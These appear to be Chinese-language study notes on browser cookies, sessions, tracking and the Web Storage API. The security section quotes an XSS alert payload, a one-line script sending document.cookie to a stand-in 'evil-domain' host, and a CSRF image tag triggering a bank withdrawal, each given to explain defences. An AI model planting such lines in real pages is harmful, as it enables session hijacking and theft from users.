Cookie(小量,请求头部自动带出)
- 会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上
- 主要用于
- 会话状态管理(session 会话控制机制)
- 浏览器行为跟踪(如跟踪分析用户行为等)设置一个长效Cookie来标志用户(cookie的实现方式并不理想有其他的方案更加优秀)
session 会话控制机制(后端用于保存会话状态)
- 当程序需要为某个客户端的请求创建一个session会话控制时
- 服务器首先检查这个客户端的请求里是否已包含了一个session标识(称为session id),如果已包含则说明以前已经为此客户端创建过session,服务器就按照session id把这个session检索出来使用
- 如果客户端请求不包含session id,则为客户端创建一个session并且生成一个与此session相关联的session id,session id的值应该是一个既不会重复,又不容易被找到规律以仿造的字符串,这个session id将被在本次响应中返回给客户端保存。
- 保存这个session id的方式可以采用cookie,这样在交互过程中浏览器可以自动的按照规则把这个标识发送给服务器。
- 数据缓存存放在客户的浏览器上,session数据放在服务器上
- session会在一定时间内保存在服务器上,当访问增多,会比较占用你服务器的性能
- session不能区分路径,同一个用户在访问一个网站期间,所有的session在任何一个地方都可以访问到
创建Cookie
- 当服务器收到HTTP请求时,服务器可以在响应头里面添加一个Set-Cookie选项
- 浏览器收到响应后通常会保存下Cookie,之后对该服务器每一次请求中都通过Cookie请求头部将Cookie信息发送给服务器
- Cookie的过期时间、域、路径、有效期、适用站点都可以根据需要来指定。名字Name、值Value、域Domain、路径Path、过期时间Expires/Max-Age、大小Size、HTTP(JS无法访问到)、Secure(HTTPS专用)、SameSite(跨站使用限制)
Set-Cookie响应头部和Cookie请求头部
// 响应头
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
// 请求头
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
会话期Cookie
- 浏览器关闭之后它会被自动删除,也就是说它仅在会话期内有效
- 会话期Cookie不需要指定过期时间(Expires)或者有效期(Max-Age)
- 有些浏览器提供了会话恢复功能,这种情况下即使关闭了浏览器,会话期Cookie也会被保留下来,就好像浏览器从来没有关闭一样。
持久性Cookie
- 持久性Cookie可以指定一个特定的过期时间(Expires)或有效期(Max-Age)
- 当Cookie的过期时间被设定时,设定的日期和时间只与客户端相关,而不是服务端。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Cookie的作用域
- Domain 和 Path 标识定义了Cookie的作用域:即Cookie应该发送给哪些URL
- Domain 标识指定了哪些主机可以接受Cookie。如果不指定,默认为当前文档的主机(不包含子域名)。如果指定了Domain,则一般包含子域名。
- 例如,如果设置 Domain=mozilla.org,则Cookie也包含在子域名中(如developer.mozilla.org)。
- Path 标识指定了主机下的哪些路径可以接受Cookie(该URL路径必须存在于请求URL中)
- 以字符 / 作为路径分隔符,子路径也会被匹配。
- 例如,设置 Path=/docs,则以下地址都会匹配:
/docs
,'/docs/Web/'
- 不同窗口只要 Domain 和 Path 相同可以共用,并且支持动态更新(一个标签页更改后,其他标签页同步更新)
Set-Cookie: domain=.baidu.com
Cookie的Secure 和HttpOnly 标记
- 标记为 Secure 的Cookie只应通过被HTTPS协议加密过的请求发送给服务端。
- 但即便设置了 Secure 标记,敏感信息也不应该通过Cookie传输,因为Cookie有其固有的不安全性,Secure 标记也无法提供确实的安全保障。
- 不安全的站点(http:)无法使用Cookie的 Secure 标记。
- 为避免跨域脚本 (XSS) 攻击,通过JavaScript的 Document.cookie API无法访问带有 HttpOnly 标记的Cookie,它们只应该发送给服务端。(包含服务端 Session 信息的 Cookie 不想被客户端 JavaScript 脚本调用,那么就应该为其设置 HttpOnly 标记)
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
SameSite Cookies
- SameSite Cookie允许服务器要求某个cookie在跨站请求时不会被发送,从而可以阻止跨站请求伪造攻击(CSRF)
- 但目前SameSite Cookie还处于实验阶段,并不是所有浏览器都支持。
JavaScript通过Document.cookies访问Cookie
- 通过Document.cookie属性可创建新的Cookie,也可通过该属性访问非HttpOnly标记的Cookie。
// 注意它的赋值方式
document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// logs "yummy_cookie=choco; tasty_cookie=strawberry"
安全
会话劫持和XSS
- XSS 恶意web用户将代码植入到提供给其它用户使用的页面中。目标页具备可输入功能,通过输入执行恶意代码。(例如:博客中输入JS代码上传后,别人访问这个博客,就执行了这段代码
<script>alert(document.cookie)</script>
)
- HttpOnly类型的Cookie由于阻止了JavaScript对其的访问性而能在一定程度上缓解此类攻击。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
跨站请求伪造(CSRF)
- 比如在不安全聊天室或论坛上的一张图片,它实际上是一个给你银行服务器发送提现的请求:(利用请求cookie自动带出的特点)
- 当你打开含有了这张图片的HTML页面时,如果你之前已经登录了你的银行帐号并且Cookie仍然有效(还没有其它验证步骤),你银行里的钱很可能会被自动转走
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
阻止此类事件的发生
- 对用户输入进行过滤来阻止XSS(当前站点不会成为攻击其他站点的工具)
- 任何敏感操作都需要确认;(再次输入密码?)
- 用于敏感信息的Cookie只能拥有较短的生命周期;
- 不用Cookie保存敏感数据
追踪和隐私
第三方Cookie
- 一个页面包含图片或存放在其他域上的资源(如图片广告)时,第一方的Cookie也只会发送给设置它们的服务器。(同域同路径策略)
- 通过第三方组件发送的第三方Cookie主要用于广告和网络追踪。
- 大多数浏览器默认都允许第三方Cookie,但是可以通过附加组件来阻止第三方Cookie
禁止追踪Do-Not-Track
- 虽然并没有法律或者技术手段强制要求使用DNT,但是通过DNT可以告诉Web程序不要对用户行为进行追踪或者跨站追踪。
- 请求首部 DNT (Do Not Track) 表明了用户对于网站追踪的偏好。它允许用户指定自己是否更注重个人隐私还是定制化内容。
DNT: 0
- 0 表示用户愿意目标站点追踪用户个人信息。
- 1 表示用户不愿意目标站点追踪用户个人信息。
- 用户对 DNT 的设置还可以使用 Navigator.doNotTrack 属性进行读取
僵尸Cookie和删不掉的Cookie
- 网络广告商为了识别唯一用户设置的用户标识,不是由cookie实现
————————————————————————————————————————————————————————
Web storage API (中量,token加密的身份识别标志)
- 主要用于
- 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
Web Storage 概念和用法
- 包含如下两种机制
- sessionStorage 为每一个给定的源(given origin)维持一个独立的存储区域,该存储区域在页面会话期间可用(即只要浏览器处于打开状态,包括页面重新加载和恢复)。
- localStorage 同样的功能,但是在浏览器关闭,然后重新打开后数据仍然存在。
- 调用其中任一对象会创建 Storage 对象,通过 Storage 对象,可以设置、获取和移除数据项。
- 对于每个源(origin)sessionStorage 和 localStorage 使用不同的 Storage 对象——独立运行和控制。
- 若用户禁用第三方cookie,那么将不允许来自第三方IFrames对Web Storage的访问。(待验证)
Web Storage 接口
- Storage 允许你在一个特定域中设置,检索和删除数据和储存类型(session or local.)
- Window Web Storage API 继承于Window 对象,并提供两个新属性 — Window.sessionStorage 和 Window.localStorage — 它们分别地提供对当前域的会话和本地Storage 对象的访问。
- StorageEvent 当一个存储区更改时,存储事件从文档的 Window 对象上被发布。参考
https://www.cnblogs.com/qq3279338858/p/10653914.html
浏览器兼容性
- 不同的浏览器对localStorage和sessionStorage有不同的容量限制。运行时保存在内存中
- 手机Safari从iOS 5.1版本开始,将localStorage数据到存放到缓存文件夹中,当空间不足时,系统将会时不时地自动清理缓存。
隐私浏览/ 隐身模式
- 大多数现代浏览器支持称为 'Incognito' 的用户隐私选择, 存储的数据在浏览器关闭后被清除。是否可读仍旧存在不同解释
- Safari,提供了可选的解决方式:存储可用,但是给其分配0字节的存储空间,有效的使其不能被写入数据。
————————————————————
Storage
- Storage 提供了访问特定域名下的会话存储或本地存储的功能,例如,可以添加、修改或删除存储的数据项。
- Window.sessionStorage 和 Window.localStorage 继承于它
属性
- Storage.length 返回一个整数,表示存储在 Storage 对象中的数据项数量。
方法
- Storage.key() 该方法接受一个数值 n 作为参数,并返回存储中的第 n 个键名。
- Storage.getItem() 该方法接受一个键名作为参数,返回键名对应的值。
- Storage.setItem() 该方法接受一个键名和值作为参数,将会把键值对添加到存储中,如果键名存在,则更新其对应的值。
- Storage.removeItem() 该方法接受一个键名作为参数,并把该键名从存储中删除。
- Storage.clear() 调用该方法会清空存储中的所有键名。
————————————————————
Window.sessionStorage
- 在新标签或窗口打开一个页面时会在顶级浏览上下文中初始化一个新的会话,这点和 session cookies 的运行方式不同。(???)
- 从当前页面打开同源的新页面会继承当前页面的 sessionStorage,但是彼此间是相互独立的
- 当前窗口只要不销毁就会一直保留对应源的session,即使当前页面打开了其他源的页面
Window.localStorage
- 同一源下的localStorage是共通的,一个标签页修改,其他同源标签页下的localStorage也会变化
- localStorage 中的键值对总是以字符串的形式存储。意味着数值类型会自动转化为字符串类型
- 可作为强缓存和协商缓存的补充,但是在桌面环境由于网络环境更稳定,所以协商缓存的效率反而比本地存储更高。
- 移动端为了减少网络请求可以使用,但是不能保存css文件
语法
- SecurityError 异常,请求违反了一个策略声明,或者源不是 有效的(例如如果origin使用 file: 或者 data: 形式)